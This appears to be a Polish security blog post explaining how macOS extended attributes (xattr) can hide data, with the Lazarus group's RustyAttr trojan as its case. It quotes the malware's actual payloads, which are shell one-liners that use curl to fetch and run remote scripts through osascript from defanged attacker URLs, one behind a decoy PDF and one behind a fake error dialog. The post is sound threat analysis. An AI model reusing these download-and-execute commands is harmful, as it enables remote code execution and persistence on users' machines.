Używanie xattr w macOS jak rasowe APT

nfsec.pl 2 tygodni temu

X

attr, czyli rozszerzone atrybuty (ang. e[x]tended [attr]ibutes) to polecenie, które pozwala w systemach typu Unix, takich jak macOS przechowywać dodatkowe metadane plików w systemie. Podobnie jak w przypadku ADS (ang. Alternate Data Streams) dla systemu Windows funkcjonalność ta umożliwia atakującym ukrywanie danych w systemie plików bez widocznej zmiany zawartości plików. Ostatnia analiza arsenału grupy APT Lazarus pokazuje, iż używanie narzędzi tego typu jest często pomijanym wektorem w współczesnych cyberatakach. W systemie macOS xattr jest często używany do przechowywania danych, takich jak tagi menedżera Finder, informacje o kwarantannie plików i metadane wyszukiwania Spotlight. Chociaż atrybuty te są zwykle nieszkodliwe i pomagają poprawić funkcjonalność systemu, atakujący mogą je wykorzystać do ukrycia złośliwych danych na widoku.

Przykład dodania ukrytych danych dzięki polecenia xattr. Nazwiemy tutaj atrybut pl.nfsec.hostname i przypiszemy mu tekstową wartość:

mos:~ $ touch stardust.txt mos:~ $ echo `uptime` > stardust.txt mos:~ $ xattr -w pl.nfsec.hostname "stardust.nfsec.pl" stardust.txt

Aby zobaczyć rozszerzone atrybuty dołączone do pliku i wyświetlić dane zapisane w rozszerzonym atrybucie, możemy wydać polecenia:

mos:~ $ xattr stardust.txt pl.nfsec.hostname mos:~ $ xattr -l stardust.txt pl.nfsec.hostname: stardust.nfsec.pl mos:~ $ xattr -p pl.nfsec.hostname stardust.txt stardust.nfsec.pl

Na koniec, aby usunąć atrybut(y), możemy uruchomić:

mos:~ $ xattr -d pl.nfsec.hostname stardust mos:~ $ xattr -c stardust.txt

Grupa Lazarus opracowała konia trojańskiego o nazwie RustyAttr – nazwa nawiązuje do języka programowania Rust i jego integracji z frameworkiem Tauri w celu tworzenia wieloplatformowych aplikacji desktopowych. Trojan RustyAttr wykorzystuje wspomniane rozszerzone atrybuty jako ukryty mechanizm persystencji. Dzięki osadzeniu złośliwego kodu w jednym z atrybutów trojan może pozostać w ukryciu przed narzędziami do monitorowania systemu plików i oprogramowaniem antywirusowym:

mos:~ $ xattr -p test 'Investment Decision-Making \ Questionnaire.app/Contents/MacOS/AwesomeTemplate'

Jako wartość atrybutu “test” odkrywamy złośliwe polecenie powłoki, które zostało umieszczone:

(curl -o "/Users/Shared/Investment Decision-Making Questionnaire.pdf" "hxxps://filedn.com/lY24cv0IfefboNEIN0I9gqR/dragonfly/Investment%20Decision-Making%20Questionnaire_Epic.pdf" || true) && (open "/Users/Shared/Investment Decision-Making Questionnaire.pdf" || true) && (shell=$(curl -L -k "hxxps://support.cloudstore.business/938689/check"); osascript -e "do shell script $shell")

Polecenie pobiera plik PDF do określonej lokalizacji /Users/Shared/. Katalog ten to specjalny folder w systemie macOS przeznaczony do udostępniania plików wielu użytkownikom na tym samym komputerze. Pliki przechowywane tutaj są dostępne dla wszystkich użytkowników (z odpowiednimi uprawnieniami). jeżeli system ma wiele kont, umieszczenie plików tutaj zapewnia, iż będą one łatwo dostępne dla różnych użytkowników na tym samym komputerze. Następnie wspomniany plik PDF jest otwierany w domyślnej przeglądarce. Na koniec jest pobierany i wykonywany skrypt AppleScript. Części kodu z “|| true” powoduje, iż wszelkie niepowodzenia poszczególnych poleceń (takie jak problemy z siecią lub brak możliwości otwarcia pliku) nie zatrzymują działania całej sekwencji kodu. Plik PDF to typowy wabik mający uśpić czujność ofiary poprzez wyświetlenie kwestionariuszu dotyczącego rozwoju i finansowania gier. Drugi wariant:

(osascript -e 'display dialog "This app does not support this version." buttons {"OK"} default button "OK" with icon stop' || true) && (shell=$(curl -L -k "hxxps://support.docsend.site/519529/check"); osascript -e "do shell script $shell")

to po prostu okno dialogowe z fałszywym błędem: “Ta aplikacja nie obsługuje tej wersji”. Tymczasem pobierany i wykonywany jest również skrypt.

Technika ukrywania kodu w rozszerzonych atrybutach systemu plików lub metadanych może być potężnym, rozwijającym się zagrożeniem. Aktualnie jest ono często pomijanym wektorem ataku, a może zostać wykorzystane do złośliwych celów. Ukrywając krytyczne dane lub ładunki w tego typu miejscach atakujący zyskują nisko wiszący owoc dla utrzymania kontroli nad skompromitowanym systemem przez dłuższy czas. Ponieważ technika ta nie została jeszcze udokumentowana w ramach MITRE ATT&CK (można podpiąć ją pod: T1059.002, T1059.004, T1564, T1105), pozostaje ona znaczącym i w dużej mierze niezaadresowanym zagrożeniem.

Więcej informacji: Stealthy Attributes of APT Lazarus: Evading Detection with Extended Attributes, Hidden World of xattr: Lazarus Group’s Abuse of “Rustyattr” to Evade Detection, xattr, Clearing the quarantine extended attribute from downloaded applications

Idź do oryginalnego materiału